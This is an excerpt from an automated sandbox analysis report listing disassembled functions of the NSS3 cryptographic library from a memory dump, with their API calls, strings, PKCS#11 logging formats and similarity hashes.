Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 652ca2267c0c1538960e2b1e3a3d0a5230a174957fde797cdf01057b29cb0596
Instruction ID: d2da05ded6fa6f1a0bf1235b3851870de9241ac84d623ef1b3649b833e6aa0e1
Opcode Fuzzy Hash: 652ca2267c0c1538960e2b1e3a3d0a5230a174957fde797cdf01057b29cb0596
Instruction Fuzzy Hash: C551E335701195ABDB008F54EE48F9E7B76FB4231CF088026F9196BB12DB309999CB97

Function 6CAF4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4C5B
PR_smprintf.NSS3(6CBCAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAF4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAF4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAF4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CAF4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CAF4DA2
free.MOZGLUE(?), ref: 6CAF4DB9
free.MOZGLUE(00000000), ref: 6CAF4DCF

Strings

0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CAF4D9D
rust, xrefs: 6CAF4D22
ootT, xrefs: 6CAF4D1A
rootFlags, xrefs: 6CAF4D47
0x%08lx=[%s %s], xrefs: 6CAF4D80
%s,%s, xrefs: 6CAF4C4B
every, xrefs: 6CAF4CA1
timeout, xrefs: 6CAF4C91
any, xrefs: 6CAF4C96
slotFlags, xrefs: 6CAF4D34

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 14b488833664f9cf08aa6c64a9c399dcdad7008c43318d71176b523172164eb0
Instruction ID: 9d4778d51689965da7e591d651d7c7f70e1a37a8f0f23b6ad23d14cbdc17be30
Opcode Fuzzy Hash: 14b488833664f9cf08aa6c64a9c399dcdad7008c43318d71176b523172164eb0
Instruction Fuzzy Hash: C7418CB1E001816BEB119F589D40ABF3A75AF9635CF084124FC265B701E731D9AAC7E3

Function 6CAD6910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CAD6943

Part of subcall function 6CAF4210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,384753FC,flags,?,00000000,?,6CAD5947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6CAF4220
Part of subcall function 6CAF4210: NSSUTIL_ArgGetParamValue.NSS3(?,6CAD5947,?,?,?,?,?,?,00000000,?,00000000,?,6CAD7703,?,00000000,00000000), ref: 6CAF422D
Part of subcall function 6CAF4210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CAD7703), ref: 6CAF424B
Part of subcall function 6CAF4210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CAD7703,?,00000000), ref: 6CAF4272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CAD6957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CAD6972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CAD6983

Part of subcall function 6CAF3EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6CACC79F,?,6CAD6247,70E85609,?,?,6CACC79F,6CAD781D,?,6CACBD52,00000001,70E85609,D85D8B04,?), ref: 6CAF3EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CAD69AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CAD69BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CAD69D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CAD69DF

Part of subcall function 6CAF4020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,754C4C80,?,6CAF50B7,?), ref: 6CAF4041

free.MOZGLUE(00000000), ref: 6CAD69F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6CAD6A04
free.MOZGLUE(00000000), ref: 6CAD6A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6CAD6A29
free.MOZGLUE(00000000), ref: 6CAD6A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6CAD6A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6CAD6A5B

Strings

nocertdb, xrefs: 6CAD6951
nokeydb, xrefs: 6CAD6968
configdir=, xrefs: 6CAD69A4
flags, xrefs: 6CAD6937, 6CAD6942, 6CAD6956, 6CAD696D
readOnly, xrefs: 6CAD693D
certPrefix=, xrefs: 6CAD69B8
keyPrefix=, xrefs: 6CAD69CC

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: 1badbd5781112dde973b1217b8be87a154d26c034e8332f84e287647796cbf18
Instruction ID: af188a9ca1de42cfbf444de1089d8b383f61de849d1d851a04b9b20bf1d8a36c
Opcode Fuzzy Hash: 1badbd5781112dde973b1217b8be87a154d26c034e8332f84e287647796cbf18
Instruction Fuzzy Hash: AB4191F5E402096BEB00DB64AD81B9B77BC9F05258F190830E955E7B02F735EA5886A2

Function 6CAC4950 Relevance: 36.9, APIs: 13, Strings: 8, Instructions: 170COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_CopyObject), ref: 6CAC4976
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC49A7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC49B6

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC49CC
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CAC49FA
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC4A09
PR_LogPrint.NSS3(?,00000000), ref: 6CAC4A1F
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CAC4A40
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CAC4A5C
PR_LogPrint.NSS3( phNewObject = 0x%p,?), ref: 6CAC4A7C
PL_strncpyz.NSS3(?, *phNewObject = 0x%x,00000050), ref: 6CAC4B17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC4B26
PR_LogPrint.NSS3(?,00000000), ref: 6CAC4B3C

Strings

C_CopyObject, xrefs: 6CAC4971
pTemplate = 0x%p, xrefs: 6CAC4A39
(CK_INVALID_HANDLE), xrefs: 6CAC49AF, 6CAC4A02, 6CAC4B1F
hObject = 0x%x, xrefs: 6CAC49E4, 6CAC49F4
hSession = 0x%x, xrefs: 6CAC4991, 6CAC49A1
ulCount = %d, xrefs: 6CAC4A57
*phNewObject = 0x%x, xrefs: 6CAC4B01, 6CAC4B11
phNewObject = 0x%p, xrefs: 6CAC4A77

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phNewObject = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ phNewObject = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_CopyObject
API String ID: 1003633598-1222337137
Opcode ID: dd85b715e764fc6351ea76e5fb6b29bb354ad2742c31c5a291698d4deda76a5f
Instruction ID: 3d64270989ca5ec3290ebf0c76c9beec863164088685d45916f45acb3d636c66
Opcode Fuzzy Hash: dd85b715e764fc6351ea76e5fb6b29bb354ad2742c31c5a291698d4deda76a5f
Instruction Fuzzy Hash: AD51B035701194ABDB00CB54ED88FAE77A9EB4231CF084024F9096BB11DB309D59CBAF

Function 6CAC08F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6CAC094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC0953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6CAC096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6CAC0974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CAC098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CAC0995

Part of subcall function 6CAC1800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CAC1860
Part of subcall function 6CAC1800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6CAC09BF), ref: 6CAC1897
Part of subcall function 6CAC1800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAC18AA
Part of subcall function 6CAC1800: memcpy.VCRUNTIME140(?,?,?), ref: 6CAC18C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CAC0B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CAC0B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CAC0B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6CAC0B78

Strings

psk_id_hash, xrefs: 6CAC09B5
key, xrefs: 6CAC0ACB
exp, xrefs: 6CAC0B36
base_nonce, xrefs: 6CAC0B06
secret, xrefs: 6CAC0A88
info_hash, xrefs: 6CAC09E0

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 9605680f812f986fb9cd7b2e2a1766f0564c3941bddaef7a3b93e24c6978ac34
Instruction ID: 801bbb58234c2f883e90875069f7135f6e504450a74a61abbd71594b0b987e07
Opcode Fuzzy Hash: 9605680f812f986fb9cd7b2e2a1766f0564c3941bddaef7a3b93e24c6978ac34
Instruction Fuzzy Hash: F5819BB5608345AFC700CF94C980E9AF7E8FF8C208F048919FA9997751E731E959CB92

Function 6CAC89B0 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 149COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GenerateKey), ref: 6CAC89D6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC8A04
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC8A13

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC8A29
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CAC8A4B
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CAC8A67
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CAC8A83
PR_LogPrint.NSS3( phKey = 0x%p,?), ref: 6CAC8AA1
PL_strncpyz.NSS3(?, *phKey = 0x%x,00000050), ref: 6CAC8B43
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC8B52
PR_LogPrint.NSS3(?,00000000), ref: 6CAC8B68

Strings

pMechanism = 0x%p, xrefs: 6CAC8A46
pTemplate = 0x%p, xrefs: 6CAC8A62
phKey = 0x%p, xrefs: 6CAC8A9C
(CK_INVALID_HANDLE), xrefs: 6CAC8A0C, 6CAC8B4B
hSession = 0x%x, xrefs: 6CAC89EE, 6CAC89FE
ulCount = %d, xrefs: 6CAC8A7E
C_GenerateKey, xrefs: 6CAC89D1
*phKey = 0x%x, xrefs: 6CAC8B2D, 6CAC8B3D

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ pTemplate = 0x%p$ phKey = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GenerateKey
API String ID: 1003633598-2039122979
Opcode ID: cb274740145b414bfc8a866a3df3d39e9dadc9d3dfbdbd4bcd992ddb7ca51a5c
Instruction ID: 8b1e5f7df0930afb247f3ee78023cf2bce9d9a7eecbd4dd1cc0869ca47310313
Opcode Fuzzy Hash: cb274740145b414bfc8a866a3df3d39e9dadc9d3dfbdbd4bcd992ddb7ca51a5c
Instruction Fuzzy Hash: D8519074701184ABDB00DF58ED88EAF7775EB42318F058029E8196BB11DB30DD99CBA7

Function 6CAAAB90 Relevance: 33.4, APIs: 22, Instructions: 388COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAAABCB
EnterCriticalSection.KERNEL32 ref: 6CAAABE4
TlsGetValue.KERNEL32 ref: 6CAAAC0B
PR_Unlock.NSS3 ref: 6CAAAC7B
TlsGetValue.KERNEL32 ref: 6CAAAC9C
EnterCriticalSection.KERNEL32 ref: 6CAAACB5
PR_WaitCondVar.NSS3 ref: 6CAAACD5
TlsGetValue.KERNEL32 ref: 6CAAACF4

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$CondUnlockWait
String ID:
API String ID: 839227765-0
Opcode ID: 27f5469228c9f956310d525247314d1a885613b8e2ac76b0b6bb827b9b9ae1ca
Instruction ID: e3fd252098131da903e7d33bdcde217811a59ccf4077bca2d18fab7fbe85fa4f
Opcode Fuzzy Hash: 27f5469228c9f956310d525247314d1a885613b8e2ac76b0b6bb827b9b9ae1ca
Instruction Fuzzy Hash: 85F16BB0A057558FEB109FB8D584769BBF1BF09308F048569D89987B10DB30E8D9CF92

Function 6CAD2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CAD2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CAD2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAD2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAD2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CAA4F1C,?,-00000001,00000000,?), ref: 6CAD2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CAA4F1C,?,-00000001,00000000), ref: 6CAD2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAD2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAD2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAD2EF8
PR_Unlock.NSS3(?), ref: 6CAD2F62
TlsGetValue.KERNEL32 ref: 6CAD2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAD2F9E
PR_Unlock.NSS3(?), ref: 6CAD2FCA
TlsGetValue.KERNEL32 ref: 6CAD301A
EnterCriticalSection.KERNEL32(?), ref: 6CAD302E
PR_Unlock.NSS3(?), ref: 6CAD3066
PR_SetError.NSS3(00000000,00000000), ref: 6CAD3085
PR_Unlock.NSS3(?), ref: 6CAD30EC
TlsGetValue.KERNEL32 ref: 6CAD310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAD3124
PR_Unlock.NSS3(?), ref: 6CAD314C

Part of subcall function 6CAB9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CAE379E,?,6CAB9568,00000000,?,6CAE379E,?,00000001,?), ref: 6CAB918D
Part of subcall function 6CAB9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CAE379E,?,6CAB9568,00000000,?,6CAE379E,?,00000001,?), ref: 6CAB91A0

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

PR_SetError.NSS3(00000000,00000000), ref: 6CAD316D

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 846c11f4d9d50d23caecbcbde56dc5efd84f89b83e27394d2b9f09f2b7debfa5
Instruction ID: 24fbefd7f7c4c1952ae44e07334e3345a69a980a10c9e4eae39a55528a2778fc
Opcode Fuzzy Hash: 846c11f4d9d50d23caecbcbde56dc5efd84f89b83e27394d2b9f09f2b7debfa5
Instruction Fuzzy Hash: DEF19DB5D012199FDF00DFA8E884B9DBBB4FF09318F094268E854A7711EB31E995CB91

Function 6CACAB10 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptMessageNext), ref: 6CACAB36
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CACAB64
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CACAB73

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CACAB89
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CACABAB
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CACABC6
PR_LogPrint.NSS3( pCiphertextPart = 0x%p,?), ref: 6CACABE1
PR_LogPrint.NSS3( ulCiphertextPartLen = %d,?), ref: 6CACABFC
PR_LogPrint.NSS3( pPlaintextPart = 0x%p,?), ref: 6CACAC17
PR_LogPrint.NSS3( pulPlaintextPartLen = 0x%p,?), ref: 6CACAC30

Strings

C_DecryptMessageNext, xrefs: 6CACAB31
pulPlaintextPartLen = 0x%p, xrefs: 6CACAC2B
(CK_INVALID_HANDLE), xrefs: 6CACAB6C
pPlaintextPart = 0x%p, xrefs: 6CACAC12
hSession = 0x%x, xrefs: 6CACAB4E, 6CACAB5E
ulCiphertextPartLen = %d, xrefs: 6CACABF7
pCiphertextPart = 0x%p, xrefs: 6CACABDC
ulParameterLen = 0x%p, xrefs: 6CACABC1
pParameter = 0x%p, xrefs: 6CACABA6

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pCiphertextPart = 0x%p$ pParameter = 0x%p$ pPlaintextPart = 0x%p$ pulPlaintextPartLen = 0x%p$ ulCiphertextPartLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptMessageNext
API String ID: 1003633598-206538543
Opcode ID: 9b7cf8cc846b955b0fa9402fd4bc8f5ad3d2ddddd3ce8258fa02ddd9b48c2242
Instruction ID: f15011bfb23f02c06bc444a085f511bab9860e9d0f52b3879fee8d63539be645
Opcode Fuzzy Hash: 9b7cf8cc846b955b0fa9402fd4bc8f5ad3d2ddddd3ce8258fa02ddd9b48c2242
Instruction Fuzzy Hash: 23419435642184AFDB008F94FE88EAE37B6EB56319F084014F91967721DB31CD99CB57

Function 6CACAF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CACAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CACAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CACAF83

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CACAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CACAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CACAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CACAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CACB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CACB028
